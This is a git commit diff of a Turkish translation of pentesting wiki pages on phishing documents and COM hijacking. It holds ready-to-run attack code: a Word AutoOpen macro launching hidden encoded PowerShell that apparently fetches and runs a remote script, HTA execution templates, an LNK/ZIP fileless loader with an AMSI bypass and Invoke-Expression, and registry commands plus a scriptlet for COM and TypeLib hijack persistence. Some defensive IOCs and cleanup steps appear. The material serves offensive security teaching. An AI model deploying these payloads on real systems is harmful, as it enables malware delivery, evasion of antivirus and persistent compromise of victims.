Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-08-28 22:44:33 +00:00
parent 4777498737
commit 00e6cd30e8
2 changed files with 156 additions and 47 deletions

View File

@ -1,40 +1,40 @@
# Phishing Dosyaları ve Belgeleri
# Phishing Dosyalar & Belgeler
{{#include ../../banners/hacktricks-training.md}}
## Ofis Belgeleri
## Office Belgeleri
Microsoft Word, bir dosyayı açmadan önce dosya veri doğrulaması yapar. Veri doğrulaması, OfficeOpenXML standardına karşı veri yapısı tanımlaması şeklinde gerçekleştirilir. Veri yapısı tanımlaması sırasında herhangi bir hata oluşursa, analiz edilen dosya açılmayacaktır.
Microsoft Word, bir dosyayı açmadan önce dosya veri doğrulaması yapar. Veri doğrulaması, OfficeOpenXML standardına göre veri yapısı tanımlaması şeklinde gerçekleştirilir. Veri yapısı tanımlaması sırasında herhangi bir hata oluşursa, incelenen dosya açılmaz.
Genellikle, makrolar içeren Word dosyaları `.docm` uzantısını kullanır. Ancak, dosya uzantısını değiştirerek dosyanın adını değiştirmek ve makro çalıştırma yeteneklerini korumak mümkündür.\
Örneğin, bir RTF dosyası tasarımı gereği makroları desteklemez, ancak RTF olarak yeniden adlandırılan bir DOCM dosyası Microsoft Word tarafından işlenecek ve makro çalıştırma yeteneğine sahip olacaktır.\
Aynı iç yapılar ve mekanizmalar Microsoft Office Suite'in (Excel, PowerPoint vb.) tüm yazılımlarına uygulanır.
Genellikle makro içeren Word dosyaları `.docm` uzantısını kullanır. Ancak dosya uzantısını değiştirerek dosyayı yeniden adlandırmak ve makro çalıştırma yeteneklerini korumak mümkündür.\
Örneğin, RTF formatı tasarım gereği makro desteği sağlamaz, ancak bir `.docm` dosyası RTF olarak yeniden adlandırılırsa Microsoft Word tarafından işlenecek ve makro çalıştırma yeteneğine sahip olacaktır.\
Aynı iç yapılar ve mekanizmalar Microsoft Office Suite içindeki tüm yazılımlar için geçerlidir (Excel, PowerPoint vb.).
Aşağıdaki komutu kullanarak bazı Ofis programları tarafından hangi uzantıların çalıştırılacağını kontrol edebilirsiniz:
Bazı Office programları tarafından hangi uzantıların çalıştırılacağını kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX dosyaları, makroları içeren uzak bir şablona atıfta bulunuyorsa (Dosya Seçenekler Eklentiler Yönet: Şablonlar Git) makroları “çalıştırabilir”.
DOCX dosyaları, makrolar içeren uzak bir şablona referans veriyorsa (File Options Add-ins Manage: Templates Go) makroları da “çalıştırabilir”.
### Harici Görüntü Yükleme
### Harici Resim Yükleme
Git: _Ekle --> Hızlı Parçalar --> Alan_\
_**Kategoriler**: Bağlantılar ve Referanslar, **Alan adları**: includePicture, ve **Dosya adı veya URL**:_ http://\<ip>/whatever
Şuraya gidin: _Insert --> Quick Parts --> Field_\
_**Kategoriler**: Links and References, **Alan adları**: includePicture, ve **Dosya adı veya URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Makrolar Arka Kapı
### Macros Backdoor
Makroları, belgeden rastgele kod çalıştırmak için kullanmak mümkündür.
Belgeden macros kullanarak rastgele kod çalıştırmak mümkündür.
#### Otomatik Yükleme Fonksiyonları
#### Autoload functions
Ne kadar yaygın olurlarsa, antivirüsün bunları tespit etme olasılığı o kadar artar.
Ne kadar yaygınlarsa, AV'nin onları tespit etme olasılığı o kadar yüksek olur.
- AutoOpen()
- Document_Open()
#### Makrolar Kod Örnekleri
#### Macros Code Examples
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,14 +64,14 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### Manually remove metadata
#### Meta verilerini elle kaldırma
**Dosya > Bilgi > Belgeyi Denetle > Belgeyi Denetle** yolunu izleyin, bu Belge Denetleyicisini açacaktır. **Denetle** butonuna tıklayın ve ardından **Belge Özellikleri ve Kişisel Bilgileri Kaldır** kısmının yanındaki **Tümünü Kaldır** butonuna tıklayın.
Şu menüye gidin: **File > Info > Inspect Document > Inspect Document**, bu işlem Document Inspector'ı açacaktır. **Inspect**'e tıklayın ve ardından **Document Properties and Personal Information** yanında **Remove All**'a tıklayın.
#### Doc Extension
#### Belge uzantısı
İşlem tamamlandığında, **Farklı Kaydet** türü açılır menüsünden formatı **`.docx`**'den **Word 97-2003 `.doc`**'ye değiştirin.\
Bunu yapın çünkü **`.docx`** içinde makro kaydedemezsiniz ve makro etkin **`.docm`** uzantısı etrafında bir **stigma** vardır (örneğin, küçük resim simgesi büyük bir `!` içerir ve bazı web/e-posta geçitleri bunları tamamen engeller). Bu nedenle, bu **eski `.doc` uzantısı en iyi uzlaşmadır**.
İşlem bittikten sonra **Save as type**ılır menüsünden formatı **`.docx`**'ten **Word 97-2003 `.doc`**'a değiştirin.\
Bunu yapın çünkü **`.docx` içine makro kaydedemezsiniz** ve makro etkin **`.docm`** uzantısı etrafında bir **stigma** vardır (ör. küçük resim simgesinde büyük bir `!` bulunur ve bazı web/e-posta geçitleri bunları tamamen engeller). Bu nedenle bu **eski `.doc` uzantısı en iyi uzlaşıdır**.
#### Malicious Macros Generators
@ -81,9 +81,9 @@ Bunu yapın çünkü **`.docx`** içinde makro kaydedemezsiniz ve makro etkin **
## HTA Files
HTA, **HTML ve betik dilleri (VBScript ve JScript gibi)** birleştiren bir Windows programıdır. Kullanıcı arayüzünü oluşturur ve bir "tamamen güvenilir" uygulama olarak çalıştırılır, bir tarayıcının güvenlik modelinin kısıtlamaları olmadan.
HTA, HTML ve betik dillerini (ör. **VBScript** ve **JScript**) birleştiren bir Windows programıdır. Kullanıcı arayüzünü oluşturur ve tarayıcının güvenlik modelinin kısıtlamaları olmadan "tam yetkili" bir uygulama olarak çalışır.
HTA, genellikle **Internet Explorer** ile birlikte **kurulan** **`mshta.exe`** kullanılarak çalıştırılır, bu da **`mshta`'nın IE'ye bağımlı** olduğu anlamına gelir. Eğer kaldırılmışsa, HTA'lar çalıştırılamayacaktır.
HTA, **`mshta.exe`** kullanılarak çalıştırılır; bu genellikle **Internet Explorer** ile birlikte **yüklü** gelir, bu da **`mshta`'nın IE'ye bağımlı olmasına** neden olur. Dolayısıyla Internet Explorer kaldırıldıysa, HTA'lar çalıştırılamaz.
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +138,11 @@ var_func
self.close
</script>
```
## NTLM Kimlik Doğrulamasını Zorlamak
## NTLM Kimlik Doğrulamasını Zorlama
**NTLM kimlik doğrulamasını "uzaktan" zorlamanın** birkaç yolu vardır, örneğin, kullanıcının erişeceği e-postalara veya HTML'ye **görünmez resimler** ekleyebilirsiniz (hatta HTTP MitM?). Ya da kurbanı, **klasörü açmak için** sadece **kimlik doğrulamasını tetikleyecek dosyaların adresiyle** gönderebilirsiniz.
NTLM kimlik doğrulamasını **"uzaktan" zorlamak** için birkaç yol vardır; örneğin, kullanıcının erişeceği e-postalara veya HTML'e **görünmez resimler** ekleyebilirsiniz (hatta HTTP MitM?). Veya kurbana **dosyaların adresini** göndererek, yalnızca **klasörü açmak** ile bir **kimlik doğrulamasını** **tetikleyebilirsiniz**.
**Bu fikirleri ve daha fazlasını aşağıdaki sayfalarda kontrol edin:**
**Bu fikirleri ve daha fazlasını aşağıdaki sayfalarda inceleyin:**
{{#ref}}
@ -154,11 +154,62 @@ self.close
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
### NTLM İletimi
### NTLM Relay
Sadece hash veya kimlik doğrulamasını çalamayacağınızı, aynı zamanda **NTLM iletim saldırıları** da gerçekleştirebileceğinizi unutmayın:
Hash'i veya kimlik doğrulamayı çalmanın yanı sıra **NTLM relay attacks** de gerçekleştirebileceğinizi unutmayın:
- [**NTLM İletim saldırıları**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM iletimi ile sertifikalar)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Son derece etkili kampanyalar, iki meşru alıcı belge (PDF/DOCX) ve kötü amaçlı bir .lnk içeren bir ZIP gönderir. Hile şu ki, gerçek PowerShell loader ZIPin ham baytları içinde benzersiz bir markerden sonra saklanır ve .lnk bunu ayırıp tamamen bellekte çalıştırır.
.lnk PowerShell one-liner tarafından uygulanan tipik akış:
1) Orijinal ZIP'i şu yaygın yolları kontrol ederek bulun: Desktop, Downloads, Documents, %TEMP%, %ProgramData% ve mevcut çalışma dizininin üst dizini.
2) ZIP baytlarını okuyun ve sabit kodlu bir marker bulun (örn., xFIQCV). Marker'den sonraki her şey gömülü PowerShell payload'udur.
3) ZIP'i %ProgramData% içine kopyalayın, orada açın ve meşru görünmesi için sahte .docx'i açın.
4) Mevcut süreç için AMSI'yi atlayın: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Bir sonraki aşamanın obfuskasyonunu kaldırın (örn., tüm # karakterlerini silin) ve bunu bellekte çalıştırın.
Gömülü aşamayı ayıklayıp çalıştırmak için örnek PowerShell iskeleti:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
Notlar
- Teslimat genellikle saygın PaaS alt alan adlarını (ör., *.herokuapp.com) kötüye kullanır ve payloads'ı gate'leyebilir (IP/UA bazlı zararsız ZIP'ler sunar).
- Bir sonraki aşama sık sık base64/XOR shellcode'u çözer ve disk artefaktlarını en aza indirmek için Reflection.Emit + VirtualAlloc ile çalıştırır.
Aynı zincirde kullanılan Persistence
- COM TypeLib hijacking, Microsoft Web Browser control üzerinde, IE/Explorer veya içine gömülü herhangi bir uygulamanın payload'u otomatik olarak yeniden başlatması için kullanılır. Detaylar ve kullanıma hazır komutlar için buraya bakın:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- Arşiv verisine eklenmiş ASCII işaretleyici dizisi (ör., xFIQCV) içeren ZIP dosyaları.
- ZIP'i bulmak için üst/kullanıcı klasörlerini listeleyen ve bir decoy document açan .lnk.
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Güvenilir PaaS domainleri altında barındırılan linklerle sona eren uzun süreli iş dizileri.
## Referanslar
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,25 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
### Olmayan COM bileşenlerini arama
### Var olmayan COM bileşenlerini arama
HKCU'nun değerleri kullanıcılar tarafından değiştirilebildiğinden, **COM Hijacking** **kalıcı mekanizmalar** olarak kullanılabilir. `procmon` kullanarak, bir saldırganın kalıcılık sağlamak için oluşturabileceği mevcut olmayan COM kayıtlarını bulmak kolaydır. Filtreler:
HKCU değerleri kullanıcılar tarafından değiştirilebildiği için **COM Hijacking** bir **kalıcı mekanizma** olarak kullanılabilir. `procmon` kullanarak, saldırganın kalıcılık sağlamak için oluşturabileceği, aranmış ama var olmayan COM kayıtlarını kolayca bulabilirsiniz. Filtreler:
- **RegOpenKey** işlemleri.
- _Sonuç_ **NAME NOT FOUND** olduğunda.
- ve _Yol_ **InprocServer32** ile bitiyorsa.
- _Result_ **NAME NOT FOUND** olduğunda.
- ve _Path_ **InprocServer32** ile bitiyorsa.
Hangi mevcut olmayan COM'u taklit etmeye karar verdikten sonra, aşağıdaki komutları çalıştırın. _Her birkaç saniyede bir yüklenen bir COM'u taklit etmeye karar verirseniz dikkatli olun, çünkü bu aşırıya kaçabilir._
Hangi var olmayan COM'un kimliğini taklit edeceğinize karar verdikten sonra aşağıdaki komutları çalıştırın. _Eğer her birkaç saniyede bir yüklenen bir COM'un kimliğini taklit etmeye karar verirseniz dikkatli olun; bu aşırıya kaçmaya neden olabilir._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```
### Ele Geçirilebilir Görev Zamanlayıcı COM bileşenleri
### Ele geçirilebilen Task Scheduler COM bileşenleri
Windows Görevleri, COM nesnelerini çağırmak için Özel Tetikleyiciler kullanır ve Görev Zamanlayıcı aracılığıyla çalıştırıldıkları için, ne zaman tetikleneceklerini tahmin etmek daha kolaydır.
Windows Tasks, Custom Triggers kullanarak COM objects çağırır ve Task Scheduler üzerinden çalıştırıldıkları için ne zaman tetikleneceklerini tahmin etmek daha kolaydır.
<pre class="language-powershell"><code class="lang-powershell"># COM CLSID'lerini Göster
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Görev Adı: " $Task.TaskName
Write-Host "Görev Yolu: " $Task.TaskPath
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
@ -43,15 +43,15 @@ Write-Host
}
}
# Örnek Çıktı:
<strong># Görev Adı: Örnek
</strong># Görev Yolu: \Microsoft\Windows\Örnek\
# Sample Output:
<strong># Task Name: Example
</strong># Task Path: \Microsoft\Windows\Example\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [öncekine benzer daha fazla...]</code></pre>
# [more like the previous one...]</code></pre>
Çıktıyı kontrol ederek, örneğin **her kullanıcı oturum açtığında** çalışacak birini seçebilirsiniz.
Çıktıyı kontrol ederek, örneğin **kullanıcı her oturum açtığında** çalıştırılacak birini seçebilirsiniz.
Şimdi **HKEY\CLASSES\ROOT\CLSID** içinde ve HKLM ile HKCU'da **{1936ED8A-BD93-3213-E325-F38D112938EF}** CLSID'sini arayarak, genellikle değerin HKCU'da mevcut olmadığını bulursunuz.
Şimdi CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**'yi **HKEY\CLASSES\ROOT\CLSID** içinde ve HKLM ile HKCU'da aradığınızda, genellikle bu değerin HKCU'da bulunmadığını görürsünüz.
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,6 +72,64 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
O zaman, HKCU girişini oluşturabilirsiniz ve kullanıcı her oturum açtığında, arka kapınız çalışacaktır.
Böylece, sadece HKCU girdisini oluşturursunuz ve kullanıcı her oturum açtığında backdoor'unuz tetiklenir.
---
## COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib), COM arayüzlerini tanımlar ve `LoadTypeLib()` ile yüklenir. Bir COM sunucusu örneklendiğinde, işletim sistemi ilişkili TypeLib'i `HKCR\TypeLib\{LIBID}` altındaki kayıt defteri anahtarlarına bakarak da yükleyebilir. TypeLib yolu bir **moniker** ile değiştirilirse, ör. `script:C:\...\evil.sct`, TypeLib çözüldüğünde Windows scriptleti çalıştırır — bu da yaygın bileşenlere dokunulduğunda tetiklenen gizli bir persistence sağlar.
Bu durum, Microsoft Web Browser kontrolü (sıklıkla Internet Explorer, WebBrowser'ı içeren uygulamalar ve hatta `explorer.exe` tarafından yüklenen) üzerinde gözlemlenmiştir.
### Adımlar (PowerShell)
1) Yüksek frekanslı bir CLSID tarafından kullanılan TypeLib (LIBID)'i belirleyin. Malware zincirleri tarafından sıkça suistimal edilen örnek CLSID: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) Kullanıcı başına TypeLib yolunu `script:` moniker'ını kullanarak yerel bir scriptlet'e yönlendirin (admin rights gerekmez):
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) Birincil payload'ınızı yeniden başlatan minimal bir JScript `.sct` bırakın (örn. ilk zincirde kullanılan bir `.lnk`):
```xml
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
```
4) Tetikleme IE'yi açmak, WebBrowser control'ü barındıran bir uygulamayı çalıştırmak veya hatta rutin Explorer etkinliği TypeLib'i yükleyecek ve scriptlet'i çalıştırarak zincirinizi logon/reboot sırasında yeniden etkinleştirecektir.
Temizleme
```powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
Notlar
- Aynı mantığı diğer sık kullanılan COM bileşenlerine uygulayabilirsiniz; önce `HKCR\CLSID\{CLSID}\TypeLib` anahtarından gerçek `LIBID`'yi çözümleyin.
- 64-bit sistemlerde 64-bit tüketiciler için `win64` alt anahtarını da doldurabilirsiniz.
## Kaynaklar
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
{{#include ../../banners/hacktricks-training.md}}